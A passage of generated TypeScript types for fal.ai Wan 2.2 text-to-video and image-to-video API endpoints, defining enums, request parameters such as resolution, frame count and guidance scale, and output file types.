inputFalAiWanV225BTextToVideoAspectRatioEnum)[keyof typeof inputFalAiWanV225BTextToVideoAspectRatioEnum] + +export const inputFalAiWanV225BTextToVideoResolutionEnum = { + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV225BTextToVideoResolutionEnumKey = + (typeof inputFalAiWanV225BTextToVideoResolutionEnum)[keyof typeof inputFalAiWanV225BTextToVideoResolutionEnum] + +export const inputFalAiWanV225BTextToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV225BTextToVideoVideoQualityEnumKey = + (typeof inputFalAiWanV225BTextToVideoVideoQualityEnum)[keyof typeof inputFalAiWanV225BTextToVideoVideoQualityEnum] + +export const inputFalAiWanV225BTextToVideoInterpolatorModelEnum = { + none: 'none', + film: 'film', + rife: 'rife', +} as const + +export type InputFalAiWanV225BTextToVideoInterpolatorModelEnumKey = + (typeof inputFalAiWanV225BTextToVideoInterpolatorModelEnum)[keyof typeof inputFalAiWanV225BTextToVideoInterpolatorModelEnum] + +export const inputFalAiWanV225BTextToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV225BTextToVideoVideoWriteModeEnumKey = + (typeof inputFalAiWanV225BTextToVideoVideoWriteModeEnum)[keyof typeof inputFalAiWanV225BTextToVideoVideoWriteModeEnum] + +export type InputFalAiWanV225BTextToVideo = { + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Number of frames to interpolate between each pair of generated frames. Must be between 0 and 4. + * @minimum 0 + * @maximum 4 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If true, the number of frames per second will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If false, the passed frames per second will be used as-is. + * @default true + * @example true + * @type boolean | undefined + */ + adjust_fps_for_interpolation?: boolean + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Aspect ratio of the generated video (16:9 or 9:16). + * @default '16:9' + * @example 16:9 + * @example 9:16 + * @example 1:1 + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV225BTextToVideoAspectRatioEnumKey + /** + * @description Number of frames to generate. Must be between 17 to 161 (inclusive). + * @minimum 17 + * @maximum 161 + * @default 81 + * @example 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Shift value for the video. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + shift?: number + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 40 + * @example 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The text prompt to guide video generation. + * @example A medium shot establishes a modern, minimalist office setting: clean lines, muted grey walls, and polished wood surfaces. The focus shifts to a close-up on a woman in sharp, navy blue business attire. Her crisp white blouse contrasts with the deep blue of her tailored suit jacket. The subtle texture of the fabric is visible—a fine weave with a slight sheen. Her expression is serious, yet engaging, as she speaks to someone unseen just beyond the frame. Close-up on her eyes, showing the intensity of her gaze and the fine lines around them that hint at experience and focus. Her lips are slightly parted, as if mid-sentence. The light catches the subtle highlights in her auburn hair, meticulously styled. Note the slight catch of light on the silver band of her watch. High resolution 4k + * @type string + */ + prompt: string + /** + * @description Resolution of the generated video (580p or 720p). + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiWanV225BTextToVideoResolutionEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Frames per second of the generated video. Must be between 4 to 60. When using interpolation and `adjust_fps_for_interpolation` is set to true (default true,) the final FPS will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If `adjust_fps_for_interpolation` is set to false, this value will be used as-is. + * @default 24 + * @example 24 + */ + frames_per_second?: number | null + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV225BTextToVideoVideoQualityEnumKey + /** + * @description The model to use for frame interpolation. If None, no interpolation is applied. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanV225BTextToVideoInterpolatorModelEnumKey + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV225BTextToVideoVideoWriteModeEnumKey + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type File0Eaee927 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV225BTextToVideo = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/model_tests/wan/v2.2-small-output.mp4"} + * @type object + */ + video: File0Eaee927 + /** + * @description The text prompt used for video generation. + * @default '' + * @example A medium shot establishes a modern, minimalist office setting: clean lines, muted grey walls, and polished wood surfaces. The focus shifts to a close-up on a woman in sharp, navy blue business attire. Her crisp white blouse contrasts with the deep blue of her tailored suit jacket. The subtle texture of the fabric is visible—a fine weave with a slight sheen. Her expression is serious, yet engaging, as she speaks to someone unseen just beyond the frame. Close-up on her eyes, showing the intensity of her gaze and the fine lines around them that hint at experience and focus. Her lips are slightly parted, as if mid-sentence. The light catches the subtle highlights in her auburn hair, meticulously styled. Note the slight catch of light on the silver band of her watch. High resolution 4k + * @type string | undefined + */ + prompt?: string +} + +export const inputFalAiWanV225BTextToVideoDistillVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV225BTextToVideoDistillVideoWriteModeEnumKey = + (typeof inputFalAiWanV225BTextToVideoDistillVideoWriteModeEnum)[keyof typeof inputFalAiWanV225BTextToVideoDistillVideoWriteModeEnum] + +export const inputFalAiWanV225BTextToVideoDistillResolutionEnum = { + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV225BTextToVideoDistillResolutionEnumKey = + (typeof inputFalAiWanV225BTextToVideoDistillResolutionEnum)[keyof typeof inputFalAiWanV225BTextToVideoDistillResolutionEnum] + +export const inputFalAiWanV225BTextToVideoDistillInterpolatorModelEnum = { + none: 'none', + film: 'film', + rife: 'rife', +} as const + +export type InputFalAiWanV225BTextToVideoDistillInterpolatorModelEnumKey = + (typeof inputFalAiWanV225BTextToVideoDistillInterpolatorModelEnum)[keyof typeof inputFalAiWanV225BTextToVideoDistillInterpolatorModelEnum] + +export const inputFalAiWanV225BTextToVideoDistillVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV225BTextToVideoDistillVideoQualityEnumKey = + (typeof inputFalAiWanV225BTextToVideoDistillVideoQualityEnum)[keyof typeof inputFalAiWanV225BTextToVideoDistillVideoQualityEnum] + +export const inputFalAiWanV225BTextToVideoDistillAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanV225BTextToVideoDistillAspectRatioEnumKey = + (typeof inputFalAiWanV225BTextToVideoDistillAspectRatioEnum)[keyof typeof inputFalAiWanV225BTextToVideoDistillAspectRatioEnum] + +export type InputFalAiWanV225BTextToVideoDistill = { + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV225BTextToVideoDistillVideoWriteModeEnumKey + /** + * @description Resolution of the generated video (580p or 720p). + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiWanV225BTextToVideoDistillResolutionEnumKey + /** + * @description The model to use for frame interpolation. If None, no interpolation is applied. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanV225BTextToVideoDistillInterpolatorModelEnumKey + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV225BTextToVideoDistillVideoQualityEnumKey + /** + * @description Number of frames to generate. Must be between 17 to 161 (inclusive). + * @minimum 17 + * @maximum 161 + * @default 81 + * @example 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If true, the number of frames per second will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If false, the passed frames per second will be used as-is. + * @default true + * @example true + * @type boolean | undefined + */ + adjust_fps_for_interpolation?: boolean + /** + * @description Frames per second of the generated video. Must be between 4 to 60. When using interpolation and `adjust_fps_for_interpolation` is set to true (default true,) the final FPS will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If `adjust_fps_for_interpolation` is set to false, this value will be used as-is. + * @default 24 + * @example 24 + */ + frames_per_second?: number | null + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Aspect ratio of the generated video (16:9 or 9:16). + * @default '16:9' + * @example 16:9 + * @example 9:16 + * @example 1:1 + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV225BTextToVideoDistillAspectRatioEnumKey + /** + * @description Number of frames to interpolate between each pair of generated frames. Must be between 0 and 4. + * @minimum 0 + * @maximum 4 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 1 + * @example 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Shift value for the video. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + shift?: number + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 50 + * @default 40 + * @example 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The text prompt to guide video generation. + * @example A medium shot establishes a modern, minimalist office setting: clean lines, muted grey walls, and polished wood surfaces. The focus shifts to a close-up on a woman in sharp, navy blue business attire. Her crisp white blouse contrasts with the deep blue of her tailored suit jacket. The subtle texture of the fabric is visible—a fine weave with a slight sheen. Her expression is serious, yet engaging, as she speaks to someone unseen just beyond the frame. Close-up on her eyes, showing the intensity of her gaze and the fine lines around them that hint at experience and focus. Her lips are slightly parted, as if mid-sentence. The light catches the subtle highlights in her auburn hair, meticulously styled. Note the slight catch of light on the silver band of her watch. High resolution 4k + * @type string + */ + prompt: string +} + +export type File0Ddd2Fdf = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV225BTextToVideoDistill = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/model_tests/wan/v2.2-small-output.mp4"} + * @type object + */ + video: File0Ddd2Fdf + /** + * @description The text prompt used for video generation. + * @default '' + * @example A medium shot establishes a modern, minimalist office setting: clean lines, muted grey walls, and polished wood surfaces. The focus shifts to a close-up on a woman in sharp, navy blue business attire. Her crisp white blouse contrasts with the deep blue of her tailored suit jacket. The subtle texture of the fabric is visible—a fine weave with a slight sheen. Her expression is serious, yet engaging, as she speaks to someone unseen just beyond the frame. Close-up on her eyes, showing the intensity of her gaze and the fine lines around them that hint at experience and focus. Her lips are slightly parted, as if mid-sentence. The light catches the subtle highlights in her auburn hair, meticulously styled. Note the slight catch of light on the silver band of her watch. High resolution 4k + * @type string | undefined + */ + prompt?: string +} + +export const inputFalAiWanV225BTextToVideoFastWanAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanV225BTextToVideoFastWanAspectRatioEnumKey = + (typeof inputFalAiWanV225BTextToVideoFastWanAspectRatioEnum)[keyof typeof inputFalAiWanV225BTextToVideoFastWanAspectRatioEnum] + +export const inputFalAiWanV225BTextToVideoFastWanResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV225BTextToVideoFastWanResolutionEnumKey = + (typeof inputFalAiWanV225BTextToVideoFastWanResolutionEnum)[keyof typeof inputFalAiWanV225BTextToVideoFastWanResolutionEnum] + +export const inputFalAiWanV225BTextToVideoFastWanVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV225BTextToVideoFastWanVideoQualityEnumKey = + (typeof inputFalAiWanV225BTextToVideoFastWanVideoQualityEnum)[keyof typeof inputFalAiWanV225BTextToVideoFastWanVideoQualityEnum] + +export const inputFalAiWanV225BTextToVideoFastWanInterpolatorModelEnum = { + none: 'none', + film: 'film', + rife: 'rife', +} as const + +export type InputFalAiWanV225BTextToVideoFastWanInterpolatorModelEnumKey = + (typeof inputFalAiWanV225BTextToVideoFastWanInterpolatorModelEnum)[keyof typeof inputFalAiWanV225BTextToVideoFastWanInterpolatorModelEnum] + +export const inputFalAiWanV225BTextToVideoFastWanVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV225BTextToVideoFastWanVideoWriteModeEnumKey = + (typeof inputFalAiWanV225BTextToVideoFastWanVideoWriteModeEnum)[keyof typeof inputFalAiWanV225BTextToVideoFastWanVideoWriteModeEnum] + +export type InputFalAiWanV225BTextToVideoFastWan = { + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Number of frames to interpolate between each pair of generated frames. Must be between 0 and 4. + * @minimum 0 + * @maximum 4 + * @default 0 + * @example 0 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If true, the number of frames per second will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If false, the passed frames per second will be used as-is. + * @default true + * @example true + * @type boolean | undefined + */ + adjust_fps_for_interpolation?: boolean + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Aspect ratio of the generated video (16:9 or 9:16). + * @default '16:9' + * @example 16:9 + * @example 9:16 + * @example 1:1 + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV225BTextToVideoFastWanAspectRatioEnumKey + /** + * @description Number of frames to generate. Must be between 17 to 161 (inclusive). + * @minimum 17 + * @maximum 161 + * @default 81 + * @example 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Resolution of the generated video (580p or 720p). + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiWanV225BTextToVideoFastWanResolutionEnumKey + /** + * @description The text prompt to guide video generation. + * @example A medium shot establishes a modern, minimalist office setting: clean lines, muted grey walls, and polished wood surfaces. The focus shifts to a close-up on a woman in sharp, navy blue business attire. Her crisp white blouse contrasts with the deep blue of her tailored suit jacket. The subtle texture of the fabric is visible—a fine weave with a slight sheen. Her expression is serious, yet engaging, as she speaks to someone unseen just beyond the frame. Close-up on her eyes, showing the intensity of her gaze and the fine lines around them that hint at experience and focus. Her lips are slightly parted, as if mid-sentence. The light catches the subtle highlights in her auburn hair, meticulously styled. Note the slight catch of light on the silver band of her watch. High resolution 4k + * @type string + */ + prompt: string + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Frames per second of the generated video. Must be between 4 to 60. When using interpolation and `adjust_fps_for_interpolation` is set to true (default true,) the final FPS will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If `adjust_fps_for_interpolation` is set to false, this value will be used as-is. + * @default 24 + * @example 24 + */ + frames_per_second?: number | null + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV225BTextToVideoFastWanVideoQualityEnumKey + /** + * @description The model to use for frame interpolation. If None, no interpolation is applied. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanV225BTextToVideoFastWanInterpolatorModelEnumKey + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV225BTextToVideoFastWanVideoWriteModeEnumKey + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type File5D5F6F77 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV225BTextToVideoFastWan = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/model_tests/wan/v2.2-small-output.mp4"} + * @type object + */ + video: File5D5F6F77 + /** + * @description The text prompt used for video generation. + * @default '' + * @example A medium shot establishes a modern, minimalist office setting: clean lines, muted grey walls, and polished wood surfaces. The focus shifts to a close-up on a woman in sharp, navy blue business attire. Her crisp white blouse contrasts with the deep blue of her tailored suit jacket. The subtle texture of the fabric is visible—a fine weave with a slight sheen. Her expression is serious, yet engaging, as she speaks to someone unseen just beyond the frame. Close-up on her eyes, showing the intensity of her gaze and the fine lines around them that hint at experience and focus. Her lips are slightly parted, as if mid-sentence. The light catches the subtle highlights in her auburn hair, meticulously styled. Note the slight catch of light on the silver band of her watch. High resolution 4k + * @type string | undefined + */ + prompt?: string +} + +export const inputFalAiWanV22A14BImageToVideoAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiWanV22A14BImageToVideoAccelerationEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoAccelerationEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoAccelerationEnum] + +export const inputFalAiWanV22A14BImageToVideoAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanV22A14BImageToVideoAspectRatioEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoAspectRatioEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoAspectRatioEnum] + +export const inputFalAiWanV22A14BImageToVideoInterpolatorModelEnum = { + none: 'none', + film: 'film', + rife: 'rife', +} as const + +export type InputFalAiWanV22A14BImageToVideoInterpolatorModelEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoInterpolatorModelEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoInterpolatorModelEnum] + +export const inputFalAiWanV22A14BImageToVideoResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV22A14BImageToVideoResolutionEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoResolutionEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoResolutionEnum] + +export const inputFalAiWanV22A14BImageToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV22A14BImageToVideoVideoQualityEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoVideoQualityEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoVideoQualityEnum] + +export const inputFalAiWanV22A14BImageToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiWanV22A14BImageToVideoVideoWriteModeEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoVideoWriteModeEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoVideoWriteModeEnum] + +export type InputFalAiWanV22A14BImageToVideo = { + /** + * @description Whether to enable prompt expansion. This will use a large language model to expand the prompt with additional details while maintaining the original meaning. + * @default false + * @example false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Number of frames to interpolate between each pair of generated frames. Must be between 0 and 4. + * @minimum 0 + * @maximum 4 + * @default 1 + * @example 1 + * @type integer | undefined + */ + num_interpolated_frames?: number + /** + * @description If set to true, input data will be checked for safety before processing. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If true, the number of frames per second will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If false, the passed frames per second will be used as-is. + * @default true + * @example true + * @type boolean | undefined + */ + adjust_fps_for_interpolation?: boolean + /** + * @description Negative prompt for video generation. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Acceleration level to use. The more acceleration, the faster the generation, but with lower quality. The recommended value is 'regular'. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiWanV22A14BImageToVideoAccelerationEnumKey + /** + * @description URL of the input image. If the input image does not match the chosen aspect ratio, it is resized and center cropped. + * @example https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg + * @type string + */ + image_url: string + /** + * @description Aspect ratio of the generated video. If 'auto', the aspect ratio will be determined automatically based on the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiWanV22A14BImageToVideoAspectRatioEnumKey + /** + * @description Shift value for the video. Must be between 1.0 and 10.0. + * @minimum 1 + * @maximum 10 + * @default 5 + * @example 5 + * @type number | undefined + */ + shift?: number + /** + * @description The model to use for frame interpolation. If None, no interpolation is applied. + * @default 'film' + * @example film + * @type string | undefined + */ + interpolator_model?: InputFalAiWanV22A14BImageToVideoInterpolatorModelEnumKey + /** + * @description Number of frames to generate. Must be between 17 to 161 (inclusive). + * @minimum 17 + * @maximum 161 + * @default 81 + * @example 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description If set to true, output video will be checked for safety after generation. + * @default false + * @example false + * @type boolean | undefined + */ + enable_output_safety_checker?: boolean + /** + * @description Number of inference steps for sampling. Higher values give better quality but take longer. + * @minimum 2 + * @maximum 40 + * @default 27 + * @example 27 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The text prompt to guide video generation. + * @example The white dragon warrior stands still, eyes full of determination and strength. The camera slowly moves closer or circles around the warrior, highlighting the powerful presence and heroic spirit of the character. + * @type string + */ + prompt: string + /** + * @description Resolution of the generated video (480p, 580p, or 720p). + * @default '720p' + * @example 720p + * @type string | undefined + */ + resolution?: InputFalAiWanV22A14BImageToVideoResolutionEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Frames per second of the generated video. Must be between 4 to 60. When using interpolation and `adjust_fps_for_interpolation` is set to true (default true,) the final FPS will be multiplied by the number of interpolated frames plus one. For example, if the generated frames per second is 16 and the number of interpolated frames is 1, the final frames per second will be 32. If `adjust_fps_for_interpolation` is set to false, this value will be used as-is. + * @default 16 + * @example 16 + */ + frames_per_second?: number | null + /** + * @description Guidance scale for the second stage of the model. This is used to control the adherence to the prompt in the second stage of the model. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale_2?: number + /** + * @description The quality of the output video. Higher quality means better visual quality but larger file size. + * @default 'high' + * @example high + * @type string | undefined + */ + video_quality?: InputFalAiWanV22A14BImageToVideoVideoQualityEnumKey + /** + * @description URL of the end image. + */ + end_image_url?: string | null + /** + * @description The write mode of the output video. Faster write mode means faster results but larger file size, balanced write mode is a good compromise between speed and quality, and small write mode is the slowest but produces the smallest file size. + * @default 'balanced' + * @example balanced + * @type string | undefined + */ + video_write_mode?: InputFalAiWanV22A14BImageToVideoVideoWriteModeEnumKey + /** + * @description Classifier-free guidance scale. Higher values give better adherence to the prompt but may decrease quality. + * @minimum 1 + * @maximum 10 + * @default 3.5 + * @example 3.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type FileCf93Abd2 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiWanV22A14BImageToVideo = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://v3.fal.media/files/lion/Fbuh3lO_HMT-pS0DATbio_tmp08c3v477.mp4"} + * @type object + */ + video: FileCf93Abd2 + /** + * @description The text prompt used for video generation. + * @default '' + * @example The white dragon warrior stands still, eyes full of determination and strength. The camera slowly moves closer or circles around the warrior, highlighting the powerful presence and heroic spirit of the character. + * @type string | undefined + */ + prompt?: string +} + +export const loRAWeightAe6Caec8TransformerEnum = { + high: 'high', + low: 'low', + both: 'both', +} as const + +export type LoRAWeightAe6Caec8TransformerEnumKey = + (typeof loRAWeightAe6Caec8TransformerEnum)[keyof typeof loRAWeightAe6Caec8TransformerEnum] + +export type LoRAWeightAe6Caec8 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description Specifies the transformer to load the lora weight into. 'high' loads into the high-noise transformer, 'low' loads it into the low-noise transformer, while 'both' loads the LoRA into both transformers. + * @default 'high' + * @type string | undefined + */ + transformer?: LoRAWeightAe6Caec8TransformerEnumKey + /** + * @description Name of the LoRA weight. Used only if `path` is a Hugging Face repository, and required only if you have more than 1 safetensors file in the repo. + */ + weight_name?: string | null +} + +export const inputFalAiWanV22A14BImageToVideoLoraAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiWanV22A14BImageToVideoLoraAccelerationEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoLoraAccelerationEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoLoraAccelerationEnum] + +export const inputFalAiWanV22A14BImageToVideoLoraInterpolatorModelEnum = { + none: 'none', + film: 'film', + rife: 'rife', +} as const + +export type InputFalAiWanV22A14BImageToVideoLoraInterpolatorModelEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoLoraInterpolatorModelEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoLoraInterpolatorModelEnum] + +export const inputFalAiWanV22A14BImageToVideoLoraAspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiWanV22A14BImageToVideoLoraAspectRatioEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoLoraAspectRatioEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoLoraAspectRatioEnum] + +export const inputFalAiWanV22A14BImageToVideoLoraResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiWanV22A14BImageToVideoLoraResolutionEnumKey = + (typeof inputFalAiWanV22A14BImageToVideoLoraResolutionEnum)[keyof typeof inputFalAiWanV22A14BImageToVideoLoraResolutionEnum] + +export const inputFalAiWanV22A14BImageToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiWanV22A14BImageToVideoLoraVideoQualityEnumKey = + (typeof 